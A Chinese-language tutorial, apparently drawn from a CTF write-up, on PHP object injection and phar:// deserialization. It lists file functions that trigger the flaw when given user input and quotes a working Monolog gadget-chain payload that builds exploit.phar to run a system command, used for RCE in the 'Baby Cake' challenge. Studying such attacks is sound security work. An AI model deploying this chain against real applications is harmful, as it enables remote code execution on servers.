PHP 物件注入是一種應用層級的攻擊手段,主要是因為用戶輸入的內容並沒有妥當的處理,然後就放到 serialize()
內去執行了。因為 PHP 等語言可以做物件序列化或反序列化,故攻擊方可以把在別的機子上序列化的字串給傳到別臺機子上,讓它呼叫反序列化。
假設想要用反序列化攻擊,兩個條件都必須要成立:
__wakeup
、__destruct
等等其實在應用中,常常看到有一些地方會把使用者輸入給 unserialize()
。例如把使用者資訊先序列化給使用者,放在 cookie 裡面,然後回來時再把 cookie 給反序列化回來。
因為 PHP 只要用到檔案的地方,可能可以代入 data://
phar://
等東西進去,故假設引入 phar://path/file
的話,該檔會被引入,然後被該 class 給初始化。
通常來說,使用者可以自由控制檔案相關操作(例如 file()
file_get_contents()
)時,已經夠危險了,但因為會被初始化的關係,故像是 file_exists()
等等也會中標。
例如:以下幾個看起來很無辜的函式,也會出事。
file_exists($_GET['file']);
md5_file($_GET['file']);
filemtime($_GET['file']);
filesize($_GET['file']);
例如前兩篇講到的 Writeup,即是印尼 PDKT-Team 寫的。他們用了這個 payload:
<?php
namespace Monolog\Handler
{
class SyslogUdpHandler
{
protected $socket;
function __construct($x)
{
$this->socket = $x;
}
}
class BufferHandler
{
protected $handler;
protected $bufferSize = -1;
protected $buffer;
# ($record['level'] < $this->level) == false
protected $level = null;
protected $initialized = true;
# ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
protected $bufferLimit = -1;
protected $processors;
function __construct($methods, $command)
{
$this->processors = $methods;
$this->buffer = [$command];
$this->handler = clone $this;
}
}
}
namespace{
$cmd = "ls -alt";
$obj = new \Monolog\Handler\SyslogUdpHandler(
new \Monolog\Handler\BufferHandler(
['current', 'system'],
[$cmd, 'level' => null]
)
);
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($obj);
$phar->stopBuffering();
}
由於 Baby Cake 題目中,我們可以把檔案傳到目標機子上(目標機會把站臺內容存成 Cache),然後我們也可以控制 file_get_contents()
的參數,故就可以用這種方法來進行 RCE。